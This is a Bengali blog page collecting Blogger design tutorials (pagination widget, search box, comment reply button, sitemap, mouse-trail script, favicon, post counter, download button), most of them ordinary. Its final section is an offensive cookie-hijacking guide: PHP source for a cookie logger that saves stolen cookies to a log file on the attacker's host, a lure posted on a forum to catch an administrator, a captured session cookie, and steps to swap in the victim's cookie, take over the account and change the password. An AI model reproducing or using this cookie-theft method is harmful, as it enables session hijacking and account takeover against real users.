Thursday, March 5, 2015

আসসালামু আলাইকুম, কেমন আছেন সবাই ? আশা করি মহান আল্লাহ তায়ালার অশেষ রহমতে সবাই ভাল আছেন। আজ আমি আপানদের সাথে  blog design কিভাবে সুন্দর করতে হয় তা নিয়ে লিখব। তাহলে চলন শুরু করি ।
পর্ব -১ এর  টিউন টি দেখার জন্য এখানে ক্লিক করুন (মেগা টিউন)
পর্ব -২ এর টিউন টি দেখার জন্য এখানে ক্লিক করুন
পর্ব -৩ এর টিউন টি দেখার জন্য এখানে ক্লিক করুন ( মেগা টিউন)
পর্ব -৪ এর টিউন টি দেখার জন্য এখানে ক্লিক করুন
পর্ব -৫ এর টিউন টি দেখার জন্য এখানে ক্লিক করুন  (মেগা টিউন) [এ পর্বটা মিস করবেন না]
পর্ব -৬ এর টিউন টি দেখার জন্য এখানে ক্লিক করুন  (গেমা টিউন)
পর্ব -৭ এর টিউন টি দেখার জন্য এখানে ক্লিক করুন ( মেগা টিউন)
পর্ব -৮এর টিউন টি দেখার জন্য এখানে ক্লিক করুন
পর্ব -৯এর টিউন টি দেখার জন্য এখানে ক্লিক করুন
৫ নং টিউন টি মিস করবেন না।

১. কিভাবে আপনার ব্লগ এ পেজ নাম্বার এড(add) করবেন???

 আপনার ব্লগ এ sing in করে design>>>Page Elements>>>>Add a Gadget>>>HTML/JavaScript select করেন , তারপর নিচের codeটি past করন
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<!-- Stylish colored  Navigation Widget For Blogger By Alamin @ http://freecall24.blogspot.com -->
 
<style type="text/css">
 
#blog-pager{padding:5px 0 !important;}
 
.showpageArea {font-weight: bold;margin:5px;}/* www.way2blogging.org */
 
.showpageArea a {text-decoration:underline;color: #fff;}/* www.way2blogging.org */
 
.showpageNum a, .showpage a {color: #fff;text-decoration:none;border:1px solid #999;-webkit-border-radius:3px;-moz-border-radius:3px; margin:0 3px;padding:3px 5px; background: #f85032; background: -moz-linear-gradient(top, #f85032 0%, #f16f5c 50%, #f6290c 51%, #f02f17 71%, #e73827 100%); background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#f85032), color-stop(50%,#f16f5c), color-stop(51%,#f6290c), color-stop(71%,#f02f17), color-stop(100%,#e73827)); filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#f85032', endColorstr='#e73827',GradientType=0 ); }/* www.way2blogging.org */
 
.showpageNum a:hover, .showpage a:hover {border: 1px solid #ccc; background: #aebcbf; background: -moz-linear-gradient(top, #aebcbf 0%, #6e7774 50%, #0a0e0a 51%, #0a0809 100%); background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#aebcbf), color-stop(50%,#6e7774), color-stop(51%,#0a0e0a), color-stop(100%,#0a0809)); filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#aebcbf', endColorstr='#0a0809',GradientType=0 ); }/* www.way2blogging.org */
 
.showpagePoint {color: #aaaaaa;text-decoration:none;border:1px solid #999;-webkit-border-radius:3px;-moz-border-radius:3px; margin:0 3px;padding:3px 5px; background: #e2e2e2; background: -moz-linear-gradient(top, #e2e2e2 0%, #dbdbdb 50%, #d1d1d1 51%, #fefefe 100%); background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#e2e2e2), color-stop(50%,#dbdbdb), color-stop(51%,#d1d1d1), color-stop(100%,#fefefe)); filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#e2e2e2', endColorstr='#fefefe',GradientType=0 ); }/* www.way2blogging.org */
 
.showpageOf {text-decoration:none;padding:3px;margin: 0 3px 0 0;}/* www.way2blogging.org */
 
.showpageNum a:link,.showpage a:link {text-decoration:none;color:#fff;}/* www.way2blogging.org */
 
</style>
 
<script type='text/javascript'>
 
var home_page="/";
 
var urlactivepage=location.href;
 
var postperpage=5;
 
var numshowpage=5;
 
var upPageWord ='Previous';
 
var downPageWord ='Next';
 
</script>
 
<script src='http://bloggerblogwidgets.googlecode.com/files/way2blogging_bloggerpagenavi.js' type='text/javascript'></script>
 
<!-- Stylish colored Numbered Page Navigation Widget For Blogger By Alamin @ http://freecall24.blogspot.com -->
আখন সেভ করন ।
preview a demo

২. কিভাবে সুন্দর একটি Search Box এড(add) করবেন????

পনার ব্লগ এ sing in করে design>>>Page Elements>>>> Add a Gadget>>>HTML/JavaScript select  করেন , তারপর নিচের codeটি past করন
1
2
3
4
5
6
7
8
9
<div>
    <form method="get" id="searchform" action="/search">
        <table width="100%">
            <tr>
              <td><input type="text" style="width:98%;padding:2px;" value="Search this blog..." onfocus="if (this.value == &quot;Search this blog...&quot;) {this.value = &quot;&quot;}" onblur="if (this.value == &quot;&quot;) {this.value = &quot;Search this blog...&quot;;}" name="q" id="sbox"></td> <td width="75px"><input type="button" Value="Search" id="sbutton" alt=""></td>
            </tr>
        </table>
    </form>
</div>
preview a demo

৩. কিভাবে ব্লগ কমেন্ট বক্স এ replay to the post add করবেন।

আপনার ব্লগ এ sing in করে design>>>edit html>>>Expand Template Widgets এ টিক দিন>>>
তারপর search করন   <data:commentPostedByMsg/> এবং এই কোড এর নিচে(under) নিচের কোড টি past করন
1
2
3
4
5
6
7
8
<a href='http://www.spiceupyourblog.com'>
    <img alt='Best Blogger Tips' src='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwqj2tpxr_kR1jIsF_gouILeJXczW3cS4D65mlaUILGMnG44TA1UprgFyfnZ6Pn_QNPs2Rp7gYybRIaX7r5BGawsvMMWox6whV-CK-6d8K9-pvnQ6jvzbu4YXIqVx2kz5Fwes-nWr6IiNv/s1600/best+blogger+tips.png'/>
</a>
    <span class='comment-reply'>
        <a expr:href='&quot;https://www.blogger.com/comment.g?blogID=<span style="color: #ff0000;">YOUR-BLOG-ID-HERE</span>&amp;postID=&quot; + data:post.id + &quot;&amp;isPopup=true&amp;postBody=%40%3C%61%20%68%72%65%66%3D%22%23&quot; + data:comment.anchorName + &quot;%22%3E&quot; + data:comment.author + &quot;%3C%2F%61%3E#form&quot;' onclick='javascript:window.open(this.href, &quot;bloggerPopup&quot;, &quot;toolbar=0,location=0,statusbar=1,menubar=0,scrollbars=yes,width=400,height=450&quot;); return false;'>
            <img src='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9t1df3sbSCKTexm6dwH7BTHBreG08-OV0Vypi-9-rdmGLHjjHrdUf1FRpzESPH_3U5R9XjkvDRofHVvXrNU1-td2lce2zAXglFBb0cW0T-OaQGkzgYPTWWwQPqwC_Ok739BQcW9CUe79K/s1600/Reply+Button+1.jpg' style='float:right;' title='Reply To This Comment'/>
        <a>
    </span>
লাল লেখার(YOUR-BLOG-ID-HERE) জায়গায় আপনার blogger ID লিখন...address barএ আপনারব্লগ Id টি পাবেন। তারপর SAVE TEMPLATE এ ক্লিক করন।
preview a Demo

৫. কিভাবে ব্লগ এর কমেন্ট বক্স এর design পরিবর্তন করবেন????

আপনার ব্লগ এ sing in করে design>>>edit html>>>Expand Template Widgets এ টিক দিন>>>
search করন
1
<data:postCommentMsg/>
এবং এই লেখাটি পরিবর্তন করন নিচের কোড টির মত
1
<a href='http://www.spiceupyourblog.com'><img alt='Best Blogger Tips' src='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwqj2tpxr_kR1jIsF_gouILeJXczW3cS4D65mlaUILGMnG44TA1UprgFyfnZ6Pn_QNPs2Rp7gYybRIaX7r5BGawsvMMWox6whV-CK-6d8K9-pvnQ6jvzbu4YXIqVx2kz5Fwes-nWr6IiNv/s1600/best+blogger+tips.png'/></a><img alt='Comment here' border='0' src='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDKG5kt-AhWTOteF_sCGaWomKUuRs5536eeEl6Otx7VwuNfm72YtH1gG1e9pFapHou0R6qhDTmnu_nF3Am7YKRcz3asJrIAJrk8O2uqj4yGQ10S4_rFQPyCS5i0BPfaEi8zDiAVEHK93HD/s1600/animated+comment+arrow.gif'/>
এখন সেভ করন।

৬. কিভাবে footer এর লেখা remove করবেন ?????

অনেক সময় ব্লগ এর নিচে লেখা থাকে copywriter By ---------এই লেখাটি remove করার জন্য  আপনার ব্লগ এ sing in করে design>>>edit html>>>Expand Template Widgets এ টিক দিন>>>
তারপর search করন
1
<!-- outside of the include in order to lock Attribution widget -->
কোড এর নিচের <div style= থেকে </div> ডিলিট করে দিন। অথবা আপনি যদি লেখাটি পরিবর্তন করতে ছান তাহলে করতে পারেন।
preview a demo

৭. কিভাবে subscription to Atom Remove করবেন??????

আপনার ব্লগ এ sing in করে design>>>edit html>>>Expand Template Widgets এ টিক দিন>>>তারপর search করন <data:f.feedType/>
এবং এই কোড টি delete করে দিন ।
অথবা searchকরন <b:include name=’feedLinks’/> এবং এটি delete করে দিন ।
আসসালামু আলাইকুম ব্লগস্পট মাষ্টাররা। আশা করি সবাই ভালো আছেন। আজকাল নিজেরে ব্লগার বলতে ডর করে। তাই নিজে ব্লগার বলতে সাবধানে বলি অন্যকে বলতে ও সাবধানে বলি। কি জানি কখনও কি হয়ে যায়... :P
বাদ দেন ঐসব। আজকে একটি গুরুত্বপূর্ন্য বিষয় নিয়ে আলোচনা করবো। আর সেটি হল Blogspot সাইটের HTML Sitemap page. হে একটি ব্লগস্পট সাইটে সাইটম্যাপ পেইজের গুরুত্ব আছে। এবং ইহা খুবই হাই লেভেলের গুরুত্ব।  আর এই গুরুত্ব টা গিয়ে SEO পর্যায়ে পড়ে। আর এসইও কি সেটার সম্পর্কে তো মুটামুটি সবারই ধারনা আছে।
সাইটম্যাপ অনেকে যোগ করেন ঠিকই। কিন্তু যারা নতুন হয়তা তাদের সে সম্পর্কে কোন ধারনা নেই। যে কারনে তারা যোগ করতে পারেন না বা Sitemap page যোগ করার প্রয়োজনবোধ মনে করেন না। বেশী কথা বাড়াবো না। কেন সাইটম্যাপ পেইজ যোগ করতে হয় তা সম্পর্কে সংক্ষেপে কিছু বলে নেই। যদি ও আমি এ সম্পর্কে তেমন কিছু জানি না। তবে ততটুকু জানি তা থেকেই বলছি।
HTML Sitemap পেইজে একটি সাইটের সবগুলো পোষ্ট সারিবদ্ধ ভাবে থাকে। এবং এটির প্রধান কারণ হল গুগল ইনডেক্স এর জন্য। যখন গুগল বট আপনার সাইটে আসবে তখন এদিক সেদিক থাকাবে না। সরারসি সাইটম্যাপ খুজবে। যখন সে সাইটম্যাপ পেইজ খুজে পাবে তখন সেখান থেকে আপনার পোষ্ট সে ইনডেক্স করবে। আর ইনডেক্স করা পোষ্ট গুলোই গুগল সার্চ ইঞ্জিনে দেখায়। তাছাড়া অনেক ভিজিটর এবং ওয়েবমাষ্টার আছেন যারা সাইটম্যাপের সাহায্যে পোষ্ট বের করে থাকেন। এই হল সাইটম্যাপ সম্পর্কে আমার সীমিত ধারনা। আমার এই সীমিত ধারনা থেকেই হয়ত বুঝতে পারছেন যে HTML Sitemap প্রয়োজনীয়তা কতটুকু।

এবার চলুন মূলকাজে চলে যাই। প্রথমে আপনি আপনার ব্লগারে একটি নতুন পেইজ তৈরী করুন এবং নাম দিন "Sitemap"
Sitemap Create for blogger
এবার HTML বাটনে ক্লিক করে নিচের কোড টুকু কপি করে পেষ্ট করে দিন এবং পেইজ টি পাবলিশ করে দিন।
</style> <div dir="ltr" style="text-align: left;" trbidi="on"> <script src="https://ms-design.googlecode.com/svn/Sitemap.js" type="text/javascript"></script> <script src="http://your -site.blogspot.com/feeds/posts/default?max-results=9999&amp;alt=json-in-script&amp;callback=loadtoc"></script> <div style="display: none;"> </div> <style type="text/css"> .post-archive { width: 100%; padding: 20px 0; text-transform: capitalize; } .post-archive h4 {background:#fff;border-bottom:1px solid #fafafa;color:#444;font-size: 20px;margin: 0 0 10px 2px;padding: 0 0 10px;} .ct-columns-3 { -moz-column-count: 3; -moz-column-gap: 10px; -moz-column-rule: none; -webkit-column-count: 3; -webkit-column-gap: 10px; -webkit-column-rule: none; column-count: 3; column-gap: 10px; column-rule: none;} .ct-columns-3 p { padding: 5px 0px; -moz-column-break-inside: avoid; -webkit-column-break-inside: avoid; -o-column-break-inside: avoid; -ms-column-break-inside: avoid; column-break-inside: avoid; display: inline-block; width: 100%; } .ct-columns-3 p a {background:#fff;color:#444;display:block;border-bottom:3px solid #f0f0f0; font-size: 14px; line-height: normal; outline:none;padding:10px 15px;transition:all .25s ease-in-out;} .ct-columns-3 p a:hover {background:#02a4e5;color:#fff;border-bottom:3px solid #0392cb;} .ct-columns-3 p span{color:#fff!important;font-style:normal!important;font-weight:normal!important;} @media screen and (max-width: 768px){ .ct-columns-3 {-moz-column-count: 1; -moz-column-gap: 0px; -moz-column-rule: none; -webkit-column-count: 1; -webkit-column-gap: 0px; -webkit-column-rule: none; column-count: 1; column-gap: 0px; column-rule: none; } } </style></div>
নোটঃ লাল রঙ চিহ্নিত লিংকটির জায়গায় আপনার সাইটের লিংক বসাবেন।

Sitemap


Sunday, March 1, 2015

সাজিয়ে নিন আপনার ব্লগস্পট ব্লগ
আসসালামালাইকুম।
সবাই কেমন আছেন ?
আশা করি ভালোই আছেন।
আমিও আপনাদের দোয়ায় ভালোই আছি।
আজ অনেক দিন পর আমি আমার ব্লগস্পট ব্লগের ধারাবাহিকতায় ফিরে আসলাম।
টাইটেল দেখেই অনেকেই হয়তো বুঝতে পারছেন।
আমি ঠিক এই রকম একটি টিউন আগেও করেছিলাম তবে অনেকেই ঔখানে মন্তব্য করেছিল যে কোড কাজ করছেনা।
তাই সবার কথা বিবেচনা করে এবং ফেইসবুকে একজন ফ্রেন্ডের অনেক দিনের অনুরোধের কারনে আজকে টিউনটি করতে বসলাম।
আর হুম এই টিউনটি ১০০% কাজ করবে আমি এই মাত্র নিজে চেষ্টা করে তারপর টিউন করতে বসলাম।
যাই হোক আজ অনেক লেকচারই দিলাম , আসুন তাহলে এবার আমরা শুরু করি।

ব্লগস্পট ব্লগে মাউসের লেজ তৈরি করার উপায় :

  • প্রথমে আপনার ব্লগে লগ ইন করে Deshboard >>> Design >>> Add A Gadget >> HTML/JavaScript এ ক্লিক করে নিচের কোড গুলো সম্পূর্ণ কপি পোস্ট করে দেন ।
টেকটিউনস কোড হাইলাইটার - কোড কপি করতে কোডের উপর ডাবল ক্লিক করুন
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<script language="javascript">
 
// ENTER TEXT BELOW. CAN *NOT* INCLUDE NORMAL HTML CODE.
var text='Welcome to Techtunes';
 
var delay=30; // SPEED OF TRAIL
var Xoff=-0; // PIXEL COUNT FROM THE LEFT OF THE CURSOR (- VALUES GO TO LEFT)
var Yoff=-30; // PIXEL COUNT FROM THE TOP OF THE CURSOR (- VALUES GO UP)
var txtw=12; // AMOUNT OF PIXEL SPACE EACH CHARACTER OCCUPIES
var beghtml='<font color="#00436e"><b>'; // OPTIONAL HTML CODE THAT EFFECTS WHOLE TEXT STRING SUCH AS FONT COLOR, SIZE, ETC.
var endhtml='</b></font>'; // END HTML CODE. MOSTLY USED IF ABOVE SETTING IS USED.
 
//********** NO NEED TO EDIT BELOW HERE **********\\
 
ns4 = (navigator.appName.indexOf("Netscape")>=0 && document.layers)? true : false;
ie4 = (document.all && !document.getElementById)? true : false;
ie5 = (document.all && document.getElementById)? true : false;
ns6 = (document.getElementById && navigator.appName.indexOf("Netscape")>=0 )? true: false;
var txtA=new Array();
text=text.split('');
var x1=0;
var y1=-1000;
var t='';
 
for(i=1;i<=text.length;i++){
t+=(ns4)? '<layer name="txt'+i+'" top="-100" left="0" width="'+txtw+'" height="1">' : '<div id="txt'+i+'" style="position:absolute; top:-100px; left:0px; height:1px; width:'+txtw+'; visibility:visible;">';
t+=beghtml+text[i-1]+endhtml;
t+=(ns4)? '</layer>' : '</div>';
}
document.write(t);
 
function moveid(id,x,y){
if(ns4)id.moveTo(x,y);
else{
id.style.left=x+'px';
id.style.top=y+'px';
}}
 
function animate(evt){
x1=Xoff+((ie4||ie5)?event.clientX+document.body.scrollLeft:evt.pageX);
y1=Yoff+((ie4||ie5)?event.clientY+document.body.scrollTop:evt.pageY);
}
 
function getidleft(id){
if(ns4)return id.left;
else return parseInt(id.style.left);
}
 
function getidtop(id){
if(ns4)return id.top;
else return parseInt(id.style.top);
}
 
function getwindowwidth(){
if(ie4||ie5)return document.body.clientWidth+document.body.scrollLeft;
else return window.innerWidth+pageXOffset;
}
 
function movetxts(){
for(i=text.length;i>1;i=i-1){
if(getidleft(txtA[i-1])+txtw*2>=getwindowwidth()){
moveid(txtA[i-1],0,-1000);
moveid(txtA[i],0,-1000);
}else moveid(txtA[i], getidleft(txtA[i-1])+txtw, getidtop(txtA[i-1]));
}
moveid(txtA[1],x1,y1);
}
 
window.onload=function(){
for(i=1;i<=text.length;i++)txtA[i]=(ns4)?document.layers['txt'+i]:(ie4)?document.all['txt'+i]:document.getElementById('txt'+i);
if(ns4)document.captureEvents(Event.MOUSEMOVE);
document.onmousemove=animate;
setInterval('movetxts()',delay);
}
</script>
  • এবার গেডজেডটি সম্পূর্ণ সেইভ করুন
  • ব্যাস আপনার কাজ শেষ

যা যা পরিবর্তন করতে পারবেন :

  • উপরে টেকটিউনন্স লেখাতির স্থলে আপনার পছন্দের লেখাটি লিখবেন ।
  • কোডের একেবারে উপরের দিকে থাকা কয়েকটি মান পরিবর্তন করতে পারবেন।
  • var delay=30; // SPEED OF TRAIL
    var Xoff=-0; // PIXEL COUNT FROM THE LEFT OF THE CURSOR (- VALUES GO TO LEFT)
    var Yoff=-30; // PIXEL COUNT FROM THE TOP OF THE CURSOR (- VALUES GO UP)
    var txtw=12; // AMOUNT OF PIXEL SPACE EACH CHARACTER OCCUPIES
    var beghtml='<span ><b>'; // OPTIONAL HTML CODE THAT EFFECTS WHOLE TEXT STRING SUCH AS FONT COLOR, SIZE, ETC.
    var endhtml=''; // END HTML CODE. MOSTLY USED IF ABOVE SETTING IS USED.
  • উপরের অংশটিতে প্রয়োজনীয় পরিবর্তন করতে পারবেন। বাকী অংশে হাত দেয়ার দরকার নেই। সমস্যা হতে পারে।
  • এখানে ver delay=30, var Xoff=0, var Yoff=30, var txtw=12 ইত্যাদি মানগুলো পরিবর্তন করে দিন।
আর হ্যাঁ পেইজ সম্পূর্ণ লোড হওয়ার পর লেজ কাজ করবে :D
ভালো লাগলে কমেন্ট করবেন আর কোন ভুল-ভ্রান্তি হলে ক্ষমা সুন্দর দিষ্টিতে দেখবেন।
সবাই ভালো থাকুন, সুস্থ থাকুন, ভালবাসাসহ ১০০ টিউনের অপেক্ষায় :D আপনাদেরই সাব্বির আলম :P

ব্লগস্পট ব্লগের ফেভিকন যেভাবে পরিবর্তন করবেন :


  • প্রথমে একটি ছবি সিলেক্ট করুন যেটি আপনি আপনার ব্লগের ফেভিকন হিসেবে এড করতে চান
  • তারপর   এই লিংকে ক্লিক করুন
  • এখন নিচের ছবিটির মত একটি ফর্ম আসবে


  • এখানে শুধু মাত্র  browse অপশনে এ ক্লিক করে আপনার সিলেক্ট করা ছবিটি সিলেক্ট করুন
  • তারপর Convert বাটনে ক্লিক করুন
  • ছবিটি এবার সেইভ করুন

  • এবার আপনার ব্লগে লগ ইন করুন
  • তারপর  Deshbord > Design >Layout> Edit Fevicon এ ক্লিক করুন



  • এখন আপনার শেষ কাজ , Edit Favico  এ ক্লিক করার পর আপনার কনভার্ট করা ছবিটি সিলেক্ট করে সেইভ করুন
  • এবার আপনার ব্লগ একবার প্রিভিউ দিয়ে দেখুন যে আপনার তৈরি করা ফেভিকন শো করছে।
  • আর হুম যদি ফেভিকন শো না করে আমাকে গালি দিবেন না :lol:
[ছবি: VC2Zq.png]
একটি নতুন গেজেট (New Gadget) নিয়ে আজ আমি আপনাদের সামনে উপস্থিত হয়েছি। এই গেজেটটি দিয়ে আপনার ব্লগে মোট কতটি পোস্ট (Post) প্রকাশিত হয়েছে এবং আপনার ব্লগের ভিজিটর-পাঠকরা (Visitor-Reader) মোট কতগুলো মন্তব্য (Comment) করেছেন তা দেখা যাবে।
<script style="text/javascript">
function numberOfPosts(json) {
document.write('মোট পোস্ট: <b>' + json.feed.openSearch$totalResults.$t + '</b><br>');
}
function numberOfComments(json) {
document.write('মোট কমেন্টস: <b>' + json.feed.openSearch$totalResults.$t + '</b><br>');
}
</script>
<font color="blue"><script src="http://shuvo1020.blogspot.com//feeds/posts/default?alt=json-in-script&callback=numberOfPosts"></script>
<script src="http://shuvo1020.blogspot.com/feeds/comments/default?alt=json-in-script&callback=numberOfComments"></script></font>
এই সুবিধাটি ব্লগে স্থাপন করা খুব সহজ।
উপরে দেয়া কোডটি কপি (Copy) করে নিয়ে একটি নতুন HTML/ Javascripts গেজেটে পেস্ট (Paste) করে দিন।
গেজেটটির নাম 'ব্লগ পরিসংখ্যান' (Blog Statistics) বা নিজের পছন্দমতো কোন একটি দিন।
কোডের অভ্যন্তরের shuvo1020 লেখাটি পাল্টে আপনার ব্লগের ঠিকানাটি (Blog address) লিখে দিন।
এবার সেভ (Save) করুন।
আপনি ব্লগে ডাউনলোড করার জন্য কোন ফাইল দিয়েছেন, সাথে সাদামাটা স্টাইলের ডাউনলোড লিঙ্ক। ভিসিটর কি সেই লিঙ্কটা সহজে খুজে পাবে? তাই আজকে  আপনাদের জন্য নিয়ে এলাম একটা সুন্দর সিএসএস ডাউনলোড বাটন। এটা আপনার ব্লগে দেয়ার জন্য Edit Html এ গিয়ে </body> লিখে সার্চ করুন ও </body> ঠিক উপরে নিচের কোডটি লাগিয়ে নিন।
ডেমো দেখতে এখানে ক্লিক করুন
 <style>
.abt-button {
    margin: 50px auto;
    width: 200px;
}
 /* Get this button at TipsWorldBlog.BlogSpot.Com */
.abt-button a {
    background: -moz-linear-gradient(center top , #00B7EA 0%, #009EC3 100%) repeat scroll 0 0 transparent;
    color: white;
    display: block;
    font: 17px/50px Helvetica,Verdana,sans-serif;
    height: 50px;
    text-align: center;
    text-decoration: none;
    text-transform: uppercase;
    width: 200px;
    position: relative;
    z-index: 2;
  /*TYPE*/
  color: white;
  font: 17px/50px Helvetica, Verdana, sans-serif;
  text-decoration: none;
  text-align: center;
  text-transform: uppercase;
  /*GRADIENT*/
  background: #00b7ea; /* Old browsers */
  background: -moz-linear-gradient(top, #00b7ea 0%, #009ec3 100%); /* FF3.6+ */
  background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#00b7ea), color-stop(100%,#009ec3)); /* Chrome,Safari4+ */
  background: -webkit-linear-gradient(top, #00b7ea 0%,#009ec3 100%); /* Chrome10+,Safari5.1+ */
  background: -o-linear-gradient(top, #00b7ea 0%,#009ec3 100%); /* Opera 11.10+ */
  background: -ms-linear-gradient(top, #00b7ea 0%,#009ec3 100%); /* IE10+ */
  background: linear-gradient(top, #00b7ea 0%,#009ec3 100%); /* W3C */
  filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00b7ea', endColorstr='#009ec3',GradientType=0 ); /* IE6-9 */
}
.abt-button a, .abt-button p {
    -webkit-border-radius: 10px;
     -moz-border-radius: 10px;
          border-radius: 10px;
  -webkit-box-shadow: 2px 2px 8px rgba(0,0,0,0.2);
     -moz-box-shadow: 2px 2px 8px rgba(0,0,0,0.2);
          box-shadow: 2px 2px 8px rgba(0,0,0,0.2);
}
.abt-button p {
    background: #222222;
    color: #FFFFFF;
    display: block;
    font: 12px/45px Helvetica,Verdana,sans-serif;
    height: 40px;
    margin: -40px 0 0 10px;
    position: absolute;
    text-align: center;
    transition: margin 0.5s ease 0s;
    width: 180px;
    z-index: 1;
  /*TRANSITION*/
  -webkit-transition: margin 0.5s ease;
     -moz-transition: margin 0.5s ease;
       -o-transition: margin 0.5s ease;
      -ms-transition: margin 0.5s ease;
          transition: margin 0.5s ease;
}
.abt-button:hover .up {
    margin: -5px 0 0 10px !important;
}
.abt-button:hover .down {
    line-height: 35px !important;
    margin: -85px 0 0 10px !important;
}
.abt-button a:active {
background: #00b7ea; /* Old browsers */
background: -moz-linear-gradient(top,  #00b7ea 36%, #009ec3 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, left bottom, color-stop(36%,#00b7ea), color-stop(100%,#009ec3)); /* Chrome,Safari4+ */
background: -webkit-linear-gradient(top,  #00b7ea 36%,#009ec3 100%); /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(top,  #00b7ea 36%,#009ec3 100%); /* Opera 11.10+ */
background: -ms-linear-gradient(top,  #00b7ea 36%,#009ec3 100%); /* IE10+ */
background: linear-gradient(top,  #00b7ea 36%,#009ec3 100%); /* W3C */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00b7ea', endColorstr='#009ec3',GradientType=0 ); /* IE6-9 */
}
.abt-button:active .up {
    margin: -20px 0 0 10px !important;
}
.abt-button:active .down {
    margin: -70px 0 0 10px !important;
}
</style>
পোস্টে ডাউনলোড বাটনটি জুড়তে Compose থেকে HTML এ ক্লিক করুন ও নিচের কোডটুক পোস্টে দিন।
<div>
<a href="tipsworldblog.blogspot.com">Download</a>
<p>Click to Start</p>
<p>1.2MB .zip</p>
</div>
এখানে tipsworldblog.blogspot.com এর জায়গায় আপনার ডাউনলোড লিঙ্ক ও 1.2MB .zip এর জায়গায় ফাইলের সাইজ ও এক্সটেনশন দিন।
wireshark1.jpg
কুকি হাইজাকিং এমন একটা হ্যাকিং মেথোড যেটার দ্বারা অনেক গুরুত্বপুর্ন ও বড় বড় কিছু হ্যাক করা যায় । এর মাধ্যমে অন্যের পাসওয়ার্ড পেয়ে তুমি হ্যাকিং শুরু করে দিলে ।
ধরো ভিকটিম ফেসবুক, গুগল সহ অনেক যায়গায় ব্রাউজিং করে এবং ওইসব তথ্য তার ব্রাউজারে সেভ থাকে । তুমি যদি কারো কুকি পাও তাহলে তার অনলাইনের সব কিছুই হ্যাক করতে পারবে ।

How-to-hack-Facebook.jpg
কুকিলগার কি?
কুকি লগার এমন একটা জিনিস যেটা একটা সাধারন PHP স্কিপ্ট দ্বারা তৈরি করা হয় ।
এটার দ্বারা যে কারো তথ্য চুরি করে একটা লগ ফাইলে সেভ করে রাখা যায় ।
আজ আমি আপনাদের দেখাবো কি করে নিজের একটা কুকি লগার তৈরি করতে হয় । আশা রাখি আপনারা অনেক ভালো করে উপভোগ করবেন ।
Step 1: নিচের লিন্ক থেকে ফাইলটা ডাউনলোড করুন এবং এটাকে রিনেম করে Tipstune.gif: নাম দিন ।
Download it.

http://www.crocko.com/1702516956.html
Step 2: এখন নিচের কোডটা কপি করে Notepad এ পেস্ট করুন এবং এটাকে সেভ করুন cookielogger.php: নামে ।
$filename = “logfile.txt”;
if (isset($_GET["cookie"]))
{
if (!$handle = fopen($filename, ‘a’))
{
echo “Temporary ServerError,Sorry for the inconvenience.”;
exit;
}
else
{
if (fwrite($handle, “\r\n” .$_GET["cookie"]) === FALSE)
{
echo “Temporary ServerError,Sorry for the inconvenience.”;
exit;
}
}
echo “Temporary ServerError,Sorry for the inconvenience.”;
fclose($handle);
exit;
}
echo “Temporary ServerError,Sorry for the inconvenience.”;
exit;
?>

Step 3: আবারো নতুন করে Notepad ওপেন করে কিছু না লিখে ওটাকে logfile.txt নামে সেভ করুন ।
Step 4: এবার ফাইলগুলা আপনার যে কোন একটা হোস্টিং এ আপলোড দেন । সবথেকে ভালো হয় যদি পেইড হোস্টিং থাকে ।
ফাইলগুলার লিন্ক দেখতে নিচের মত হবে ।
* cookielogger.php ->
http://www.yoursite.com /cookielogger.php
*logfile.txt ->
http://www.yoursite.com /logfile.txt
*Tipstune.gif ->
http://www.yoursite.com /fun.gif
Step 5: এবার ধরুন আপনি একটি ফোরাম সাইটের এডমিনের কুকি হাইজাকিং করবেন । তাহলেঃ তার ফোরাম সাইটে গিয়ে নিচের কোডটা কপি পেস্ট করে একটা পোস্ট করুন ।
Download it.

http://www.crocko.com/1702516964.html
Step 6: এবায় যখন ওই এডমিন উক্ত পোস্টা দেখবে তখন সে তোমার ওই ইমেজটা দেখবে । এবং কৈতুহল বশত ওটাতে ক্লিক করবে । সে যখনই ক্লিক করবে তখনই একটা Eror ম্যাসেজ দেখাবে । ব্যাস তার অজান্তেই কুকি গুলা হাইজাক হয়ে গেলো । কুকি গুলা log.txt ফাইলে পাবে ।
কুকি দেখতে নিচের মত হবে ।
phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A-1%3B%7D;phpbb2mysql_sid=3ed7bdcb4e9e41737ed6eb41c43a4ec9
Step 7: ভিকটিমের এক্যাউন্ট হ্যাক করে অনুমতি পাবার জন্য একটা ছোট্ট কাজ করতে হবে । আর সেটা হলোঃ তোমার কুকির সাথে ভিকটিমের কুকি Replace করতে হবে ।
এই কাজের জন্য Cookie Editor টুলসটা ব্যাবহার করতে পারো ।
“=” চিহ্ন এর আগের টুকু কুকির নাম । এবং “=” এই চিহ্ন এর পরেরটুকু কুকির ভ্যালু ।


সুতরাং Cookie Editor এ কুকির ভ্যালুটা চেন্জ করতে হবে ।
Step 8: এখন সেই ফোরাম সাইটে যাও । যেটা তুমি হ্যাক করতে চেয়েছিলে । দেখবে তুমি লগইন অবস্থায় আছো । এখন আস্তে করে পাসওয়ার্ডটা চেন্জ করে ফেলো আর সাইটকে একটা ছোট্ট বাঁশ দিয়ে চলে এসো ।

Session_Hijacking_3.JPG
